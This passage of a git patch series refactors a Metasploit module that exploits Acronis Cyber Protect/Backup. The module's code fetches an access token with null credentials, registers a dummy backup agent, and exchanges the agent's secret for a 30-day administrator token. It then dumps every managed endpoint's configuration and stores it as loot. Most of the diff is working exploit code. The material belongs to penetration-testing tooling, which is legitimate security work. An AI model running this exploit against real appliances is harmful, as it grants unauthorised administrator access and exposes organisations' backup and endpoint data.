MetasploitModule < Msf::Auxiliary fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? end + # report vulnerable instance + report_web_vuln( + web_site: normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + host: datastore['RHOSTS'], + port: datastore['RPORT'], + ssl: (proto =~ /https/), + method: 'POST', + proof: "Authorization: Bearer #{@access_token2}", + risk: 0, + confidence: 100, + category: 'admin token', + description: 'Administrator token providing full web application accesss.', + name: 'Acronis Cyber Protect/Backup administrator token' + ) # get all the managed endpoint configuration info print_status('Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.') res_json = get_machine_info From 7e30647d71d365f4c685dac46f971365d2a219e0 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 30 Oct 2024 15:12:41 +0000 Subject: [PATCH 6/8] small update --- .../gather/acronis_cyber_protect_machine_info_disclosure.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb index 92ac6c140a..26cbf0ae90 100644 --- a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -290,7 +290,7 @@ class MetasploitModule < Msf::Auxiliary web_site: normalize_uri(target_uri.path, 'api', 'ams', 'versions'), host: datastore['RHOSTS'], port: datastore['RPORT'], - ssl: (proto =~ /https/), + ssl: datastore['SSL'], method: 'POST', proof: "Authorization: Bearer #{@access_token2}", risk: 0, From b6595eeaf0c6fe336b0161fc33243f79b4469811 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Tue, 26 Nov 2024 15:49:57 +0000 Subject: [PATCH 7/8] added acronis cyber mixin --- .../core/exploit/remote/http/acronis_cyber.rb | 116 +++++++++++++++ ...s_cyber_protect_machine_info_disclosure.rb | 139 ++---------------- 2 files changed, 129 insertions(+), 126 deletions(-) create mode 100644 lib/msf/core/exploit/remote/http/acronis_cyber.rb diff --git a/lib/msf/core/exploit/remote/http/acronis_cyber.rb b/lib/msf/core/exploit/remote/http/acronis_cyber.rb new file mode 100644 index 0000000000..e9218490d3 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/acronis_cyber.rb @@ -0,0 +1,116 @@ +# -*- coding: binary -*- + +# This mixin module provides provides a way of interacting with Acronis Cyber 15 and Backup 12.5 installations + +module Msf::Exploit::Remote::HTTP::AcronisCyber + include Msf::Exploit::Remote::HttpClient + + # get the first access_token + # @return [access_token, nil] returns first access_token or nil if not successful + def get_access_token1 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'password', + 'username' => nil, + 'password' => nil + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # register a dummy agent in Acronis Cyber Protect 12.5 and 15.0 + # @param [client_id] random generated uuid + # @param [access_token1] first access_token + # @return [client_secret, nil] returns client_secret or nil if not successful + def dummy_agent_registration(client_id, access_token1) + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + post_data = { + client_id: client_id.to_s, + data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, + tenant_id: nil, + token_endpoint_auth_method: 'client_secret_basic', + type: 'agent' + }.to_json + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token1}" + }, + 'data' => post_data.to_s + }) + return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') + + # parse json response and return client_secret + res_json = res.get_json_document + return if res_json.blank? + + res_json['client_secret'] + end + + # get second access_token which is valid for 30 days + # @param [client_id] random generated uuid + # @param [client_secret] client_secret retrieved from a successful agent registration + # @return [access_token, nil] returns first access_token or nil if not successful + def get_access_token2(client_id, client_secret) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'client_credentials', + 'client_id' => client_id.to_s, + 'client_secret' => client_secret.to_s + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # returns version information + # @param [access_token2] second access_token + # @return [version, nil] returns version or nil if not successful + def get_version_info(access_token2) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + } + }) + return unless res&.code == 200 + return unless res.body.include?('backendVersion') + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json['backendVersion'] + end +end diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb index 26cbf0ae90..b9d4de0b24 100644 --- a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary prepend Msf::Exploit::Remote::AutoCheck include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::AcronisCyber def initialize(info = {}) super( @@ -66,88 +67,8 @@ class MetasploitModule < Msf::Auxiliary ) end - # return first access_token or nil if not successful - def get_access_token1 - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest' - }, - 'vars_post' => { - 'grant_type' => 'password', - 'username' => nil, - 'password' => nil - } - }) - return unless res&.code == 200 - return unless res.body.include?('access_token') - - # parse json response and return access_token - res_json = res.get_json_document - return if res_json.blank? - - res_json['access_token'] - end - - # register a dummy agent in Acronis Cyber Protect 12.5 and 15.0 - # returns the client_secret if successful otherwise nil - def dummy_agent_registration(client_id) - name = Rex::Text.rand_text_alphanumeric(5..8).downcase - post_data = { - client_id: client_id.to_s, - data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, - tenant_id: nil, - token_endpoint_auth_method: 'client_secret_basic', - type: 'agent' - }.to_json - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), - 'ctype' => 'application/json', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token1}" - }, - 'data' => post_data.to_s - }) - return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') - - # parse json response and return client_secret - res_json = res.get_json_document - return if res_json.blank? - - res_json['client_secret'] - end - - # return second access_token or nil if not successful - def get_access_token2(client_id, client_secret) - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest' - }, - 'vars_post' => { - 'grant_type' => 'client_credentials', - 'client_id' => client_id.to_s, - 'client_secret' => client_secret.to_s - } - }) - return unless res&.code == 200 - return unless res.body.include?('access_token') - - # parse json response and return access_token - res_json = res.get_json_document - return if res_json.blank? - - res_json['access_token'] - end - # return all configured items in json format or return nil if not successful - def get_machine_info + def get_machine_info(access_token2) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), @@ -155,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary 'keep_cookies' => true, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token2}" + 'Authorization' => "bearer #{access_token2}" }, 'vars_get' => { 'embed' => 'details' @@ -176,71 +97,37 @@ class MetasploitModule < Msf::Auxiliary res_json end - # return version information or nil if not successful - def get_version_info - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), - 'ctype' => 'application/json', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token2}" - } - }) - return unless res&.code == 200 - return unless res.body.include?('backendVersion') - - # parse json response and get the relevant machine info - res_json = res.get_json_document - return if res_json.blank? - - res_json['backendVersion'] - end - - # check if the target is running the acronis protect/backup and return the version information. - def get_acronis_cyber_protect_version + def check # initial check on api access res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), 'ctype' => 'application/json' }) - return unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') # get first access token print_status('Retrieve the first access token.') @access_token1 = get_access_token1 vprint_status("Extracted first access token: #{@access_token1}") - if @access_token1.nil? - print_warning('Retrieval of the first access token failed.') - return nil - end + return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? # register a dummy agent client_id = SecureRandom.uuid print_status('Register a dummy backup agent.') - client_secret = dummy_agent_registration(client_id) - if client_secret.nil? - print_warning('Registering a dummy agent failed.') - return nil - end + client_secret = dummy_agent_registration(client_id, @access_token1) + return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') # get second access_token print_status('Retrieve the second access token.') @access_token2 = get_access_token2(client_id, client_secret) vprint_status("Extracted second access token: #{@access_token2}") - if @access_token2.nil? - print_warning('Retrieval of the second access token failed.') - return nil - end + return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil? # get version info - get_version_info - end - - def check - version = get_acronis_cyber_protect_version + version = get_version_info(@access_token2) return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? release = version.match(/(.+)\.(\d+)/) @@ -274,7 +161,7 @@ class MetasploitModule < Msf::Auxiliary # register a dummy agent client_id = SecureRandom.uuid print_status('Register a dummy backup agent.') - client_secret = dummy_agent_registration(client_id) + client_secret = dummy_agent_registration(client_id, @access_token1) fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? print_status('Dummy backup agent registration is successful.') @@ -301,7 +188,7 @@ class MetasploitModule < Msf::Auxiliary ) # get all the managed endpoint configuration info print_status('Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.') - res_json = get_machine_info + res_json = get_machine_info(@access_token2) fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? # print all the managed endpoint information to the console From 18c4e9c2f6f60632eaca89fd31d02ad1362e955e Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Tue, 26 Nov 2024 16:10:14 +0000 Subject: [PATCH 8/8] moved get_machine_info to the acronis_cyber mixin --- .../core/exploit/remote/http/acronis_cyber.rb | 32 +++++++++++++++++++ ...s_cyber_protect_machine_info_disclosure.rb | 30 ----------------- 2 files changed, 32 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/acronis_cyber.rb b/lib/msf/core/exploit/remote/http/acronis_cyber.rb index e9218490d3..56e7427dd2 100644 --- a/lib/msf/core/exploit/remote/http/acronis_cyber.rb +++ b/lib/msf/core/exploit/remote/http/acronis_cyber.rb @@ -113,4 +113,36 @@ module Msf::Exploit::Remote::HTTP::AcronisCyber res_json['backendVersion'] end + + # return all configured items in json format + # @param [access_token2] second access_token + # @return [res_json, nil] returns machine info in json format or nil if not successful + def get_machine_info(access_token2) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'vars_get' => { + 'embed' => 'details' + } + }) + return unless res&.code == 200 + return unless res.body.include?('items') || res.body.include?('data') + + if datastore['OUTPUT'] == 'json' + loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') + print_good("Configuration details are successfully saved in json format to #{loot_path}") + end + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json + end end diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb index b9d4de0b24..3d47e3a04a 100644 --- a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -67,36 +67,6 @@ class MetasploitModule < Msf::Auxiliary ) end - # return all configured items in json format or return nil if not successful - def get_machine_info(access_token2) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), - 'ctype' => 'application/json', - 'keep_cookies' => true, - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{access_token2}" - }, - 'vars_get' => { - 'embed' => 'details' - } - }) - return unless res&.code == 200 - return unless res.body.include?('items') || res.body.include?('data') - - if datastore['OUTPUT'] == 'json' - loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') - print_good("Configuration details are successfully saved in json format to #{loot_path}") - end - - # parse json response and get the relevant machine info - res_json = res.get_json_document - return if res_json.blank? - - res_json - end - def check # initial check on api access res = send_request_cgi({